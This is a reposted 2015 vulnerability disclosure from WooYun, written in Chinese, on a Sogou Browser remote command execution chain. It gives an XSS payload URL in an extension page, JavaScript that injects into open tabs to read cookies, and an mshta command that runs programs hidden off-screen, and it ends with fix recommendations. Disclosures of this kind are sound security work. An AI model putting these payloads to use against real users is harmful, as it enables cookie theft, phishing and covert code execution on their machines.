记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

某小设计缺陷搜狗浏览器远程命令执行

2015-02-15 09:42

1. 搜狗浏览器自有的协议下(se://)的一些内容,都封装成了application/sogou-native-widget-plugin,因此,我们在这个协议下,要继续找到可用的XSS似乎比较困难。

2. 于是将目光投向了似乎更容易找到XSS的 se-extension://, 通过分析发现,搜狗浏览器在设计上,不允许 http协议向 se: 协议的资源跳转(如下图所示);但是对于 se-extension:// 上却欠缺了类似的安全考虑,允许在http协议下通过location.href跳转到或是通过iframe标签嵌入 se-extension:// 协议下的资源。

1.jpg



3. 基于这样一个缺陷,我们接着要寻找 se-extension://域下的XSS,由于搜狗浏览器内置的插件还比较多,挨个htm看一看,发现以下插件(截图插件)的页面存在XSS。

code 区域
se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)



4. 这样一来,我们可以利用这个插件的XSS来调用搜狗浏览器插件所暴露出的一些API,这些API主要在sogouExplorer这个对象里,如下图所示:

2.jpg



这些API已经可以用来实现很多高危害的事情了,例如:

code 区域
//利用sogouExplorer.tabs.getAllInWindow获得窗口内打开的所有页面

sogouExplorer.tabs.getAllInWindow(0,function(){console.log(arguments)})



//通过上一个函数内获得tabid来向页面内注入任意JS,实现窃取用户当前打开的页面的cookies。

sogouExplorer.tabs.executeScript(202372,{"code":"alert(document.cookie)"},function(){console.log(arguments)})





代码运行如下:



5.jpg





效果如下图所示:



4.jpg





到了这里,实际上利用这个XSS,可以实现改变任意页面的内容,可以用于窃取COOKIES,或是改变页面内容实现钓鱼等高危害操作。





-----------------------------------



** 实现远程命令执行



-----------------------------------



实际上到了上面这一步,对于用户来说,已经会导致很高的危害,但是我们是否可以实现命令执行呢?搜狗一些曾经导致远程命令执行的内置API,比如external下的SkinCall再次出问题的可能性已经比较小。



我们依然把目光放到扩展本身上,一些内置的扩展为了实现一些功能也会暴露一些API给网页,而扩展内的这样的功能要么是通过搜狗浏览器提供的扩展API来实现,要么通过dll来实现。



我们通过分析,发现com.sogou.gamecenter这个扩展调用了npgamecenterlite.dll,



该扩展的地址在 se-extension://ext740107210/路径下



更有意思的是该扩展目录下的back.html中还发现了以下内容(se-extension://ext740107210/html/back.html):



code 区域
//back.html中调用npgamecenterlite.dll

<embed id="embed1" type="application/sogou-start-gamecenter-lite-plugin"/>



//back.html中调用了http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.4/app.js?t=1.0.4,其中有以下代码:

var miniLauncher = document.getElementById( 'embed1' );

//...

miniLauncher.startExe( url + " /popgame " + exe_param, function(arg) {

//....

});





我们惊喜的看到,这个npgamecenterlite.dll提供了一个API接口,而该接口的作用是用来启动了一个指定路径的程序。



-----------------------------------



** 插件页面间的互相访问



-----------------------------------



可以看到,我们找到XSS的页面是:



se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)



而存在调用npgamecenterlite.dll的页面是:



se-extension://ext740107210/html/back.html



这2个页面,属于同一个协议(se-extension),但不属于同一个域,理论上2个页面是无法互相通信的。



然而,搜狗浏览器在此处对se-extension协议的处理上再次出现问题,我发现,在se-extension协议下,2个不同域的页面可以通过脚本互相访问。



这样一来,我们的攻击思路就很明确了,如下:



6.jpg





如上图所示,顺便说到了要修复的点。



-----------------------------------



** 是否是任意命令执行?



-----------------------------------



答案:是的。



这里的 startExe API支持命令带参数,所以我们可以执行任意的命令。



如果用cmd,就会弹出一个一闪而过的黑框框,不够隐蔽。



这里我们可以用mshta来实现完全隐蔽的执行任意命令。比如下面弹出一个计算器:



code 区域
miniLauncher.startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();", function(arg) {

console.log(arg);

});





mshta也会打开一个框框,但是我们可以用moveTo将框框移动到屏幕外,从而实现隐蔽效果。



最后执行效果:



7.jpg

漏洞证明:

安装最新版本的搜狗浏览器:



访问:http://xsst.sinaapp.com/poc/sogou.html ,



win xp, win7, win8 下均测试通过,上面已经有一个win7的图了,下面发个win8的,



8.jpg

修复方案:

见详细说明中的图:



1. 修复XSS

2. 阻止http访问se-extension协议资源

3. 阻止插件页面间的相互访问

4. ....

知识来源: www.wooyun.org/bugs/wooyun-2015-083537

阅读:91797 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“某小设计缺陷搜狗浏览器远程命令执行”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云